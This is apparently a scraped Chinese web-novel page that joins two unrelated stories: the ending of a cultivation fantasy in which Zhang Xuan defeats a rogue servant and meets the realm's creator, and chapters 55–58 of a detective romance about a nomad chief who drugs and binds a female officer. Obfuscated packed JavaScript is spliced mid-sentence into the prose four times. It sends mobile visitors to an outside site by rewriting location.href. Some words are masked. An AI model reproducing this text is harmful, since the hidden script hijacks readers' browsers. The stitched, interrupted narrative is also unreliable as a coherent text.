“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第55章 青稞酒(8) 苗景岚看得出来,这位百户姑娘对贾仁很有意思。 浩城跟大兴国的风俗不同,女人可以大胆的追求喜欢的男人。 苗景岚平常不太关注自己这个探案搭子,仔细论起来,贾仁身材挺拔,长相英俊,虽然有的时候嘴贱一些,感觉有些油腻一些,但他不开口的时候,那幅皮相确实可以吸引不少涉世不深的女子。 来浩城的这两天,贾仁这个“男祸水”已经招揽不少的浩城女子,只是贾仁没有对人家示爱的女人有所表示而已。 贾仁也看出来这个塔汗姑娘对自己有点意思,但装做浑然不知一般,直接拒绝她的好意:“骑马太过颠簸,我还是坐马车好了。百户大人和丁县令骑马好了。” 可是,塔汗似乎是一个比较强势的姑娘,“丁县令那么老了,你好意思让他骑马?你们京城来的男子不都是精通骑射吗?我来见识见识你马背上的功夫,如果你骑马能够追上我,我就帮你查拐卖的案子,要是追不上,那你以后都不用来找我!” 塔汗说完这句话,就径直骑上那匹红色的骏马往前冲去。 贾仁有些无语的看向苗景岚,头一回看到这样的姑娘:大胆而直接,热情而奔放。 苗景岚叮嘱贾仁:“还看什么?还不快追过去,你还要不要查案?” 贾仁一听这话,便骑上那匹白色的骏马,朝塔汗的方向追去。 而苗景岚和丁县令坐上马车,也晃悠悠的朝叶老将军的墓地方向驶去。 一路上,除了青色的草地,就只有两边金黄色的胡杨林随风轻轻摇曳。 苗景岚怕这一路上无聊,开始跟丁县令聊起天:“这位叶老将军立下赫赫战功,晚年却只能死在他乡,确实有一点凄凉。” “凄凉?他当年和逆太子差点犯下滔天大罪,若不是身上有赫赫战功,只怕连个全尸都没资格留。”丁县令忽然漫不经心的说道。 这一段时间跟着贾仁,苗景岚似乎也养成八卦的性格。 当她听到丁县令这样一说,就觉得这位死在浩城的叶老将军身上还藏着许多不可告人的秘密。 苗景岚追问道:“不知道丁大人所说的是什么事情?那位逆太子又是什么人?” 丁县令这才意识到自己一时嘴快,居然说漏了嘴,马上打圆场:“瞧我这老糊涂,中午没有睡午觉,睁着眼睛就开始胡说。那都是陈年往事了,不记得了,不记得了!” 说完,丁县令开始闭上眼睛在马车里面假寐。 苗景岚只能独自消化刚刚从丁县令那里听到的惊人消息。 贾仁从京城来,不可能不知道这位叶老将军的八卦。 连丁县令这样的底层公务员都听说过叶老将军的事情,他身份特殊怎么可能没有听过? 可是,他既然知道,为什么还要千里迢迢从京城赶来拜祭叶老将军? 还是他想从叶老将军这里了解到一些什么? 通过这一段时间的观察,苗景岚觉得这个贾仁身上藏着太多的秘密。 正因为如此,在面对这个家伙的示爱,苗景岚才会视若无睹。 马车行驶一会儿,终于来到叶老将军的墓地前。 苗景岚下了马车,远远看到前方的一座小山丘旁有两匹骏马,骏马旁边站着一双男女。 男子俊俏,女儿苗条,粗看一眼,忽然觉得两人挺登对。 特别是看到贾仁对塔汗微笑时的样子,苗景岚莫名觉得心被刺了一下。 但好歹她也是从现代穿越过来的女子,对男欢女爱这种事情早就看开。 就算贾仁曾经投给自己相似的微笑,现在换作是其他的女子,又有什么不可以?只怪自己想多了。 贾仁一扭头,看到从马车上下来的苗景岚,朝他挥一挥手:“岚儿,快来,这里就是叶老将军的墓地。” 苗景岚走过来,只看到一处长满野花的山丘,并没有看到什么墓地上的石碑,更没有看到什么坟冢。 正当她觉得有些奇怪时,贾仁笑嘻嘻的对苗景岚说:“叶老将军生前将自己的骨灰撒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895779|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这处山丘上,所以这里的花才会开得这样烂漫。” “叶老将军是一位很开明的人,他不喜欢别人对他的生平指指点点,也不喜欢别人踏着他的尸骨暗自伤感,更不喜欢别人老惦记他。所以在他的墓地上连块墓碑都没有,如果不是塔汗姑娘带我们来,我们根本找不到它。”贾仁做梦也没有想到,自己崇拜的叶老将军居然就埋葬在这里。 苗景岚心说,这老头子可能是怕自己的敌人发现自己的墓地,会跑过来挖坟掘地,所以干脆把自己的骨灰撒在山丘上,倒是一个挺聪慧的老人。 “我爷爷不喜欢别人来给他扫墓,他死之前叮嘱过我们,不要说自己是他的后人,也不要老想着借着祖宗来沾光。人要是有骨气,就靠自己打下一片天地。”塔汗如是说。 “你爷爷倒是一个挺有骨气的人!”贾仁赞扬道。 塔汗点点头,“不光是我爷爷,我们家的每一代人都是如此,爷爷的话已经是我们的祖训。我们祖孙三代虽然是这里的百户,却从来不是靠着祖宗的功勋,而是靠着我们每一代人的努力。” “塔汗姑娘,你会成为一个好千户的。”这算是贾仁对塔汗的赞赏。 这一句称赞,居然让塔汗的脸微微泛红。 她看了贾公子一眼,然后翻身上马:“明天,我带你去找察尔罕,那老头一定知道兄妹俩的事情。” “明天什么时候?” “太阳一升起来,你来我的小楼等我,我带你们去浩城的游牧区。记住,身上不要带任何兵器。我跟察尔罕有约定,不能坏了规矩。” 这是哪门子的规矩,身处冷兵器时代,去古代的红灯区,还不让带兵器,这是想让我们成为炮灰吗?苗景岚在心里面吐槽。 贾仁点点头说:“好,我会记住的。” 塔汗骑在枣红色的大马上奔驰,那一席彩衣在骏马上摇曳,仿佛绿色草原上疾飞的一抹红。 “怎么样?这个百户姑娘不错吧?”苗景岚开始戏弄贾仁。 …… 第56章 青稞酒(9) “怎么样?这个百户姑娘不错吧?”苗景岚开始戏弄贾仁。 贾仁假装听不懂苗景岚所指之意,“就那样吧。傻呵呵的,喳喳呼呼,像个小女孩。” “像个小女孩好啊,像个小女孩单纯呀。你们男人不就是喜欢这种女人,简单好操控吗?我看这位百户姑娘不错,你跟人家好好相处,说不定将来还可以当个上门女婿,以后不但可以天天欣赏到浩城草原上的景色,还可以娶崇拜的叶将军的后人。” 苗景岚这话说得阴阳怪气,跟她平时的性格完全不一样。 贾仁意味深长的看了苗景岚一眼,忽然噗嗤一声笑了,“嘿嘿嘿,我说岚儿呀,你该不会是吃醋了吧?” “吃醋?因为你?醒醒吧,那是这里的百户,关系到阿纳汗能不能找到妹妹,你要是不跟她关系好一点,我们怎么找到有用的线索?”苗景岚大声的辩解。 “哦,原来是这样。我只是你查案的工具人而已,岚儿呀,你太让我伤心了。”贾仁又没脸没皮的开始跟苗景岚抬上杠。 “别闹了。你有没有从塔汗那里得到有用的线索,明天我打算带着阿纳汗一块去,看看对这个拐卖案有没有什么新的发现。”苗景岚谈了自己的想法。 “塔汗是一个心机单纯的姑娘,她并不知道浩城有什么人口拐卖案。而且游牧区的百姓从来不归她管辖,连大兴国的朝廷对这些游牧族的居民也束手无策。”贾仁不戏弄苗景岚,认真起来的样子也是帅气无比。 “听你这样说,这个案子有些棘手啊。这些游牧民族平时有多少人?”苗景岚在心里面盘算着,如果到时候找到这伙拐卖**,想要把他们从游牧族的人那里带走,估计还需要费些周折。 “塔汗姑娘没有说。但是零零总总加起来,总共也有几百人吧。” “但愿一切顺利。” “你就那么笃定那些拐卖阿纳汗妹妹的人一定是游牧族的?要知道阿纳汗本人也是游牧族的,他们会自己人拐自己人?”贾仁觉得不太相信。 可是,在前世亲眼见识过人性的丑陋和恶毒之后,苗景岚更相信利益是催动人世间一切恶魔的源泉。 人之所以没有犯下罪恶,是因为没有足够的利益驱动。 “我也希望如此,明天到了游牧民族那里再说吧。”不知道为什么,苗景岚觉得明天这一趟不会太顺利。 第二天清晨,苗景岚、贾仁带着阿纳汗来到塔汗的小楼。 丁县令昨天坐了一天的马车,说自己身体不适,今天怎么都不肯来了。 其实贾仁和苗景岚都清楚,丁县令是知道今天要去浩城的游牧族,而且是去问人口拐卖的事情。 像这种三不管的多事地带,朝廷的人一直是能躲就躲。 跟昨天的穿着随意不同,今天的塔汗穿了一席非常正式的袍子。 那是浩城百姓节日里才会穿的正式袍子,每逢特殊的节日,浩城的男子都会穿着精心缝好的白色袍子,上面绣着太阳与月亮的特殊记号,象征太阳神和月亮神的保佑。 而女子则会穿着黄色的长袍,意喻五谷丰登,风调雨顺。 可能是因为塔汗是一位女子,又是浩城的百户。她没有选择穿黄色的长袍,而是穿着男子才穿的白色袍子,远远看去竟有一种雌雄莫辨的美。 阿纳汗则瑟瑟的跟在苗景岚的身后,有些胆怯的看着百户。 塔汗看了一眼众人,说:“我和贾公子骑马,你们坐马车,我们一起去游牧区找察尔罕。” 或许在塔汗看来,贾仁才是这个案件的主理者,苗景岚只是他的婢女。 苗景岚并不在乎这些,只要能够找到阿纳汗的妹妹,抓住拐卖犯,一切都是值得的。 贾仁倒是有些不自在,对塔汗说:“其实我更想坐在马车里。” 塔汗的脸上流露出一丝不快,“你们大兴的男子都是这样的吗?自己坐在马车里,让女子来骑马?” 她以为贾仁是嫌骑马太颠簸才不愿意骑的。 听到塔汗这样说,贾仁只能心情不悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907901|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的骑上白马。 而苗景岚和阿纳汗则一块坐在马车上,朝着游牧族的地区而去。 “马上要回家了,你的心情好不好?”苗景岚问阿纳汗。 阿纳汗摇摇头,“其实我们游牧族的人,从小就放羊放牛,一直是四海为家,我们根本就没有家。” “你们以前在游牧族的时候,听没有听过察尔罕的名字?” 一听到‘察尔罕’这三个字,阿纳汗立刻从坐着的地方想腾空而起,“就是因为他,我的阿爸阿妈才会死的。他把我阿爸阿妈养羊的地方让给其他的人,让我们家的羊没有草吃,活活给饿**,阿爸才因此而生病的,阿爸病重之后,我阿妈曾经问察尔罕借钱看病,可他不肯借。阿爸病死之后,阿妈才气病了,最后也**,我们兄妹俩才四处流浪。” 苗景岚听到这里,心里面那种不好的感觉更加的强烈。 “你妹妹失踪之后,你为什么不找察尔罕?就算不找察尔罕,你也可以找这里的百户帮你呀?”苗景岚不解的问。 “察尔罕不是什么好东西,我根本不信任他。至于百户,我是头一回见到她。浩城的百户不是什么人都能见到的,我阿妈曾说,百户大人是天上神仙的使者,只有我们诚心祈祷,他们才会来帮助我们。我们平常去寻找他,他根本不会见我们的。” 听阿纳汗这样一说,苗景岚忽然觉得自己还算幸运。 先是找到浩城的县令,后来又让塔汗帮忙。 如果只是她一个人,或许会跟阿纳汗一样的结局。 说来说去,还是贾仁的那个身份玉牌起作用。 那家伙到底是什么人,为什么所有见过玉牌的人都对他尊敬有加。 马车行驶一路,快到晌午的时候,马车终于到达目的地。 这是一处草原少有的活泉水附近,周围还有强壮的游牧族的汉子看守。 一个矮墩墩的老人,穿着一身的兽皮,双手抱胸站在前面:“真神保佑我们。塔汗,好久不见!” 第57章 青稞酒(10) 那个老人皮肤粗糙,满脸的褶子,下巴上还满是横肉,头上还插着几支颜色鲜艳的鸟毛,象征着他在草原上的地位最高。 苗景岚看到那个老人,立刻明白过来,他就是浩城游牧族的领袖察尔罕。 察尔罕迎接塔汗,眼睛顺势扫视一眼这次跟随塔汗一块出来的人。 当他的眼睛看到阿纳汗时,阿纳汗本能的躲在苗景岚的身后。 “哦,我的塔汗,什么风把你吹到这里来了?让我算一算,你好像有一两年也没有飞到我身边来了!” “哪有那么长?半年前我还参加过你干儿子的婚礼呢,你不记得了?”塔汗不服气的说。 “哈哈,你看我这记性。” “我看你是老糊涂了。” “哈哈哈,你说得对。塔汗,随我到帐篷里来喝一杯马奶酒吧。” “不,马奶酒太骚,还是给我喝青稞酒吧。”塔汗干脆利落的随察尔罕走进帐篷。 一行人进入一盏硕大的椭圆形的帐篷。 苗景岚觉得这是她看到的最大的帐篷了,十几个人一块儿围着火堆坐下,还觉得地方很宽敞。 阿纳汗一直跟在苗景岚的身后,当苗景岚坐下,他也像个随从一般跟着苗景岚坐下。 而贾仁也想坐在苗景岚一起,却被塔汗叫到身边,热情的察尔罕甚至还亲自为他倒上一杯青稞酒,显然已经把他当作塔汗的人。 “察尔汗,最近游牧族的生活还好吧?”塔汗喝过一口青涩的青稞酒之后问道。 察尔罕满脸堆笑,“托你的福,塔汗,我们在这里生活得很好!” “真的吗?那我怎么还听说你们这里有少女被拐卖?” “拐卖?你听谁说的?我的雄鹰上神,我的尤美女神,我以我祖辈的荣耀在这里起誓,这样的事情绝对不可能发生在我的帐篷里。”察尔罕老头子开始赌咒发誓,要不是已经知道阿纳汗妹妹被拐走的事情,苗景岚差点儿以为真是有人在诬陷。 塔汗半信半疑,“察尔罕,你说的是真的吗?那我怎么听说半年前有一个十一岁的少女被拐卖?而且被拐的还不是别人,是曾经在你们这里生活的游牧族的一个孩子。” 塔汗把目光转向阿纳汗。 阿纳汗愤怒的说:“我没有说谎,我的妹妹确实被拐卖了。我当时找过你们,可是你们都没让我进帐篷,还放狗咬我。” 察尔汗浑浊的老眼冷冰冰的看向阿纳汗,“我认得你,野人谷里的孩子。你的父亲很倔,我让他出让山谷里的一片草地给大家牧羊,但是他不肯。后来下了暴雪,你们家的羊全部**,牛又生病了,他请我给你们家的牛看病。可是,给牛看病需要花钱,买药也要花钱,可他没有钱,所以最后气**。” “哼,你胡说!明明是你见死不救,我阿塔才死的!” “哈哈,见死不救?人生病我要去救,牛生病我也要去救吗?整个游牧族只有一个兽医,偏偏那个兽医的姨夫就是看中野人谷那块地的牧民,他们不肯去救你的牛,我有什么办法?怪只能怪你阿塔太不会做人!” 阿纳汗涨红了脸,“不许你污蔑我阿塔!” 阿纳汗冲上前,却被察尔罕的人拦下。 “察尔罕,既然这个孩子曾经是你们游牧族的人,他的妹妹失踪了,你也要帮忙找。”塔汗拿出百户的架势。 “这孩子和他阿塔一样倔,他父母死后,我曾经让他和他的妹妹跟随族里其他人,可是他不肯,宁愿去做浩城的流浪汉。”察尔罕辩解道。 阿纳汗真是愤怒到极致,没想到这世上竟然有这样无耻的人:“明明是你让我妹妹去给你的女儿当仆人,让我到族里当护卫。我家明明在野人谷有牧场,为什么要去给你们当奴才?” 察尔罕在塔汗的面前摊一摊手,做出一副无可奈何的模样:“你们看一看,这孩子是多么固执?在族里当护卫不是一件好事吗?至少管你的吃管你的住,不用担心饿死。而且,你家的牛和羊全都**,还留着牧场有什么用?当然是拿给族里其他有羊有牛的人去使用。” 察尔罕和阿纳汗各执一词,谁也说服不了谁。 塔汗不由抚额,“你们不用吵了。我们这次来是来帮阿纳汗找妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907902|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,至于你们以前的事情,还是留给真神去判断吧。察尔罕,阿纳汗的妹妹失踪了,你有没有他妹妹的消息?” “我的塔汗,这么多年我们都坚守祖上的承诺,和浩城里的人井水不犯河水。他的妹妹在浩城失踪,和我们有什么关系?而且他们兄妹两个也离开游牧族生活,严格上来说已经不算是我们游牧族的人。” “可是你也不能不管呀。”塔汗也有些气愤了。 圆滑的察尔罕朝塔汗做一个怪脸,“哦,我的塔汗,你别发火!先到这里吃一顿饭,这个季节的羊肉是最香的。然后,我再找找族里的小伙子,问一问他们情况。或许是小姑娘贪玩,跑到别处去了。” “哼,阿扎依才不会到处乱跑,她是一个听话的妹妹!”阿纳汗替自己的妹妹辩解。 最终,塔汗接受察尔罕的提议,留在这里吃饭,之后再询问族人有没有阿扎依的线索。 察尔罕带着人离去,硕大的帐篷里只剩下塔汗、贾仁、苗景岚和阿纳汗四个人。 贾仁敏感的问苗景岚,“你怎么看?” 作为这么久的探案搭子,贾仁一旦遇上不好判断的事情,都会询问一下苗景岚的看法。 “这个老头不老实。” “我也是这样认为。”贾仁认可的点点头。 在京城的时候,他没有少和那些圆滑的老吏打交道,察尔罕给自己的感觉是有多无少。 他甚至比那些圆滑的老吏更刁钻,谁知道他的肚子里面打着什么鬼主意。 “他撒谎,我阿塔和阿嬷去逝后,逼着我去给他们当奴才,我不肯就把我们赶走。阿扎依失踪后,我也回过游牧族,可他们想撵狗一样把我撵走,我才想着找别人帮忙的。” 塔汗的脸色变得沉重,“察尔罕在我爷爷在世的时候就掌管游牧族,我父亲在的时候还算听话,但这些年游牧族已经很少来我们浩城走动了。” 也就是说,游牧族的百姓已经渐渐脱离浩城的掌控。 “你们有没有注意到塔汗说过的话,**阿扎依的消息,却知道他是在浩城失踪的……” 第58章 青稞酒(11) “你们有没有注意到塔汗说过的话,**阿扎依的消息,却知道他是在浩城失踪的……”苗景岚提醒大家。 塔汗恍然大悟,“对呀对呀,察尔罕说不知道阿扎依的事情,却知道人是在浩城失踪的,那就说明阿扎依的事情确实和他有关。老滑头,差一点被他给骗了,等我吃过饭我就来问他!” 苗景岚摇摇头:“你问他,他未必会对你说实话。” “对,那老狐狸不会跟你说实话的。”阿纳汗也认同苗景岚的看法。 贾仁思索片刻,忽然问:“塔汗,浩城有多少可以供你支配的人马。如果真有什么事,你可以马上调动这些人吗?” 听贾仁这样说,塔汗的神情也变得严肃起来:“事情还没有你说得那样严重吧。察尔罕就算再狡猾,至少还不敢跟我动手,我们世代有约定的。” “那是对你的约定,他这些年一直盘踞在这里,显然已经成为游牧族的王。他跟你说游牧族人口只有数百人,但我刚刚看了这里的马圈,起码有四五十个,至少可以喂养上千匹马。如果每一匹马上都配有一个骑士,那也将近上千支人马。” “不可能,游牧人没有那么大的胆子!”塔汗不相信察尔罕敢背叛自己。 “游牧人没有,但是察尔罕有。要知道,你们叶家已经换了三任继承者,而他还是当初的那个他。而察尔罕本就是一个辽人。”贾仁坚定的说。 察尔罕是天生的辽人,骨子里面还是辽人的血。 这些年他们虽然对大兴国俯首称臣,难保这些年没有其他的打算。 “我倒有个主意,可以试探一下。”贾仁嘴角微微翘起。 …… 一个时辰之后,帐篷里举行丰盛的宴会。 椭圆的巨大帐篷中央支起一个火堆,周围摆放着刚刚烤好的羊,还有切成一片片的牛肉,以及各式各样的蔬菜干和马奶、青稞酒。 察尔罕特别的殷勤,不断的给塔汗和每一个人敬酒,就连远道而来的贾仁和苗景岚都没有放过。 “远道而来的朋友,快来尝尝我们的青稞酒吧。这是用最新鲜的庄稼酿造出来的,我保证你们在任何地方都不可能品尝到一模一样这样的美酒。” 一连灌了几杯,塔汗觉得自己有些醉了。 “察尔罕老头子,你别老是给我喝酒,你倒是自己也喝呀。照你这个喝法,我非得喝醉不可,那我还怎么回浩城?……哦,我今天的头怎么这样晕?……我眼睛有些看不见了……嗯,好困啊……”塔汗嘀嘀咕咕抱怨着,最后声音越来越小,直到彻底趴在长桌上。 不光是塔汗,同样喝过青稞酒的贾仁、苗景岚和阿纳汗也全部晕倒。 察尔罕像是换了一张脸,吩咐下面的人:“把他们几个搬到其他的帐篷里。” 等塔汗再次醒来的时候,手脚已经被绑得死死的,她独自一个人被丢在一顶粉色的小帐蓬里。 令塔汗没有想到的是,察尔罕就守在她的旁边。 看到她醒过来,察尔罕一脸的笑容:“哦,我的塔汗,你睡得真香!看来我们这里的青稞酒果然很好,一下子就把你醉倒了。” 塔汗晃一晃手上的绳子,“察尔罕,你这是什么意思?” “我们已经好多年没有见面,一晃塔汗已经长成大姑娘了。听说你还没有许配人家,有没有什么心宜的男子,察尔罕来帮你撮合撮合。” 塔汗马上暴走,“我呸,察尔罕,吃了你的熊心豹子胆,居然敢绑起我?小心我叫浩城的人马把你们游牧族给灭了!” 没想到察尔罕没脸没皮的笑起来:“哎哟,吓死我了!我的塔汗,难怪你这么大也没有嫁出去,实在是太凶了!这样吧,我有两个儿子一个女儿,大儿子娶了媳妇,二儿子还没有,你如果愿意,可以嫁给我的小儿子,他长得还怪英俊的呢。” 塔汗又朝察尔罕的脸上吐一口唾沫,“做你的春秋白日梦!我塔汗是浩城的百户,不是你们辽人可以随便抢到帐篷里睡的女人!” 就在这时,察尔罕的两个儿子走进来。 大儿子叫扎卡,长得高大魁梧、凶神恶煞;小儿子叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914977|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈尔,长得瘦瘦高高,居然带着几分女人才有的妩媚。 扎卡看到塔汗朝自己阿塔身上吐唾沫,立刻抽了塔汗一记耳光,“你这个不识好歹的女人,我弟弟可是游牧族里最英俊的男人,好多女人想睡他都睡不到呢。” “留给别的女人去睡吧,老娘不稀罕。”塔汗倔强的瞪着对方。 哈尔看了塔汗一眼,一脸的嫌弃:“阿塔,我是不会娶这个女人的。她长得太丑,也不温柔,屁股也不大,将来生不出儿子的,连妹妹的婢女都比她强!” “笨蛋,我不是想要她给你生儿子,是想要她的身份。我们游牧人盘踞在浩城以外多年,需要一个正当的借口入主浩城。而和一个身为百户的女人联姻,是最好的机会。” “我不想娶她,还是留给大哥当小吧。反正我们辽人的规矩,一个男人可以娶好几个老婆的。”哈尔看样子是铁了心不娶塔汗。 “笨弟弟,阿塔是想要这个女人浩城城主的身份,我娶她当小,浩城的百姓不会答应的。”扎卡把视线转向察尔罕,“不如这样,阿塔,你娶了这个女人吧。反正母亲去逝之后,你一直没有女人,娶了这个女百户,你就可以名正言顺的成为浩城之主。” 没想到察尔罕这个老不羞居然还不好意思起来,“这样不好吧,这么多年我一直对外表示自己不近女色,一心只对你们的母亲一往情深。” 小儿子哈尔也同意这门婚事,“对,阿塔,你娶了这个凶女人。就说是死去母亲的灵魂转身到这个女人身上,你同样可以有个好名声。” 察尔罕略一犹豫,“这样嘛,也不是不可能。” 看到他们父子三人的丑态,塔汗差点鼻子没气歪。 她之前还不相信贾仁说的话,觉得事情没有他所说的那样严重。 现在看来,她真是太低估事情的严重性,还有察尔罕的狼子野心。 